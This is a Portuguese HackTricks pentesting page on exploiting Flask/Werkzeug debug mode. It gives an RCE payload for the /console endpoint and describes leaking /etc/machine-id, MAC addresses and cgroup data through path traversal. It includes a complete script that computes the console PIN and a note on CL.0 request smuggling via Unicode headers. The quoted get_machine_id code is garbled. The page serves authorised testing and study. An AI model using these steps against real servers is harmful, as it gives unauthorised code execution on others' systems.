Werkzeug / Flask Debug

Aprenda hacking na AWS do zero ao herói com htARTE (HackTricks AWS Red Team Expert)!

Outras maneiras de apoiar o HackTricks:

Configuração instantaneamente disponível para avaliação de vulnerabilidades e teste de penetração. Execute um pentest completo de qualquer lugar com mais de 20 ferramentas e recursos que vão desde a reconhecimento até a geração de relatórios. Não substituímos os pentesters - desenvolvemos ferramentas personalizadas, módulos de detecção e exploração para dar a eles mais tempo para aprofundar, abrir shells e se divertir.

RCE no Console

Se a depuração estiver ativa, você pode tentar acessar /console e obter RCE.

__import__('os').popen('whoami').read();

Também existem vários exploits na internet como este ou um no metasploit.

Protegido por PIN - Traversal de Caminho

Em algumas ocasiões, o endpoint /console estará protegido por um PIN. Se você tiver uma vulnerabilidade de travessia de arquivo, pode vazar todas as informações necessárias para gerar esse PIN.

Exploração de PIN da Console Werkzeug

Forçar uma página de erro de debug no aplicativo para ver isso:

The console is locked and needs to be unlocked by entering the PIN.
You can find the PIN printed out on the standard output of your
shell that runs the server

Um cenário de "console bloqueado" é encontrado ao tentar acessar a interface de depuração do Werkzeug, indicando a necessidade de um PIN para desbloquear o console. A sugestão é explorar o PIN do console analisando o algoritmo de geração de PIN no arquivo de inicialização de depuração do Werkzeug (__init__.py). O mecanismo de geração de PIN pode ser estudado no repositório de código-fonte do Werkzeug, embora seja aconselhável obter o código real do servidor por meio de uma vulnerabilidade de travessia de arquivos devido a possíveis discrepâncias de versão.

Para explorar o PIN do console, são necessários dois conjuntos de variáveis, probably_public_bits e private_bits:

probably_public_bits

  • username: Refere-se ao usuário que iniciou a sessão do Flask.

  • modname: Geralmente designado como flask.app.

  • getattr(app, '__name__', getattr(app.__class__, '__name__')): Geralmente resolve para Flask.

  • getattr(mod, '__file__', None): Representa o caminho completo para app.py dentro do diretório do Flask (por exemplo, /usr/local/lib/python3.5/dist-packages/flask/app.py). Se app.py não for aplicável, tente app.pyc.

private_bits

  • uuid.getnode(): Obtém o endereço MAC da máquina atual, com str(uuid.getnode()) traduzindo-o para um formato decimal.

  • Para determinar o endereço MAC do servidor, é necessário identificar a interface de rede ativa usada pelo aplicativo (por exemplo, ens3). Em casos de incerteza, vaze /proc/net/arp para encontrar o ID do dispositivo, em seguida, extraia o endereço MAC de /sys/class/net/<id do dispositivo>/address.

  • A conversão de um endereço MAC hexadecimal para decimal pode ser realizada conforme mostrado abaixo:

# Exemplo de endereço MAC: 56:00:02:7a:23:ac
>>> print(0x5600027a23ac)
94558041547692
  • get_machine_id(): Concatena dados de /etc/machine-id ou /proc/sys/kernel/random/boot_id com a primeira linha de /proc/self/cgroup após a última barra (/).

Código para `get_machine_id()`

```python def get_machine_id() -> t.Optional[t.Union[str, bytes]]: global _machine_id

if _machine_id is not None: return _machine_id

def _generate() -> t.Optional[t.Union[str, bytes]]: linux = b""

machine-id is stable across boots, boot_id is not.

for filename in "/etc/machine-id", "/proc/sys/kernel/random/boot_id": try: with open(filename, "rb") as f: value = f.readline().strip() except OSError: continue

if value: linux += value break

Containers share the same machine id, add some cgroup

information. This is used outside containers too but should be

relatively stable across boots.

try: with open("/proc/self/cgroup", "rb") as f: linux += f.readline().strip().rpartition(b"/")[2] except OSError: pass

if linux: return linux

On OS X, use ioreg to get the computer's serial number.

try:

</details>

Após reunir todos os dados necessários, o script de exploit pode ser executado para gerar o PIN do console Werkzeug. O script utiliza os `probably_public_bits` e `private_bits` montados para criar um hash, que então passa por um processamento adicional para produzir o PIN final. Abaixo está o código Python para executar esse processo:
```python
import hashlib
from itertools import chain
probably_public_bits = [
'web3_user',  # username
'flask.app',  # modname
'Flask',  # getattr(app, '__name__', getattr(app.__class__, '__name__'))
'/usr/local/lib/python3.5/dist-packages/flask/app.py'  # getattr(mod, '__file__', None),
]

private_bits = [
'279275995014060',  # str(uuid.getnode()),  /sys/class/net/ens33/address
'd4e6cb65d59544f3331ea0425dc555a1'  # get_machine_id(), /etc/machine-id
]

# h = hashlib.md5()  # Changed in https://werkzeug.palletsprojects.com/en/2.2.x/changes/#version-2-0-0
h = hashlib.sha1()
for bit in chain(probably_public_bits, private_bits):
if not bit:
continue
if isinstance(bit, str):
bit = bit.encode('utf-8')
h.update(bit)
h.update(b'cookiesalt')
# h.update(b'shittysalt')

cookie_name = '__wzd' + h.hexdigest()[:20]

num = None
if num is None:
h.update(b'pinsalt')
num = ('%09d' % int(h.hexdigest(), 16))[:9]

rv = None
if rv is None:
for group_size in 5, 4, 3:
if len(num) % group_size == 0:
rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
for x in range(0, len(num), group_size))
break
else:
rv = num

print(rv)

Este script produz o PIN hashendo os bits concatenados, adicionando sais específicos (cookiesalt e pinsalt), e formatando a saída. É importante notar que os valores reais para probably_public_bits e private_bits precisam ser obtidos com precisão do sistema alvo para garantir que o PIN gerado corresponda ao esperado pelo console Werkzeug.

Se você estiver em uma versão antiga do Werkzeug, tente mudar o algoritmo de hash para md5 em vez de sha1.

Caracteres Unicode do Werkzeug

Conforme observado neste problema, o Werkzeug não encerra uma solicitação com caracteres Unicode nos cabeçalhos. E como explicado neste artigo, isso pode causar uma vulnerabilidade de Smuggling de Requisição CL.0.

Isso ocorre porque, no Werkzeug, é possível enviar alguns caracteres Unicode e isso fará com que o servidor quebre. No entanto, se a conexão HTTP foi criada com o cabeçalho Connection: keep-alive, o corpo da solicitação não será lido e a conexão ainda estará aberta, então o corpo da solicitação será tratado como a próxima solicitação HTTP.

Exploração Automatizada

Referências

Configuração instantaneamente disponível para avaliação de vulnerabilidades e teste de penetração. Execute um pentest completo de qualquer lugar com mais de 20 ferramentas e recursos que vão desde a reconstrução até a geração de relatórios. Não substituímos os pentesters - desenvolvemos ferramentas personalizadas, módulos de detecção e exploração para dar a eles mais tempo para aprofundar, abrir shells e se divertir.

Last updated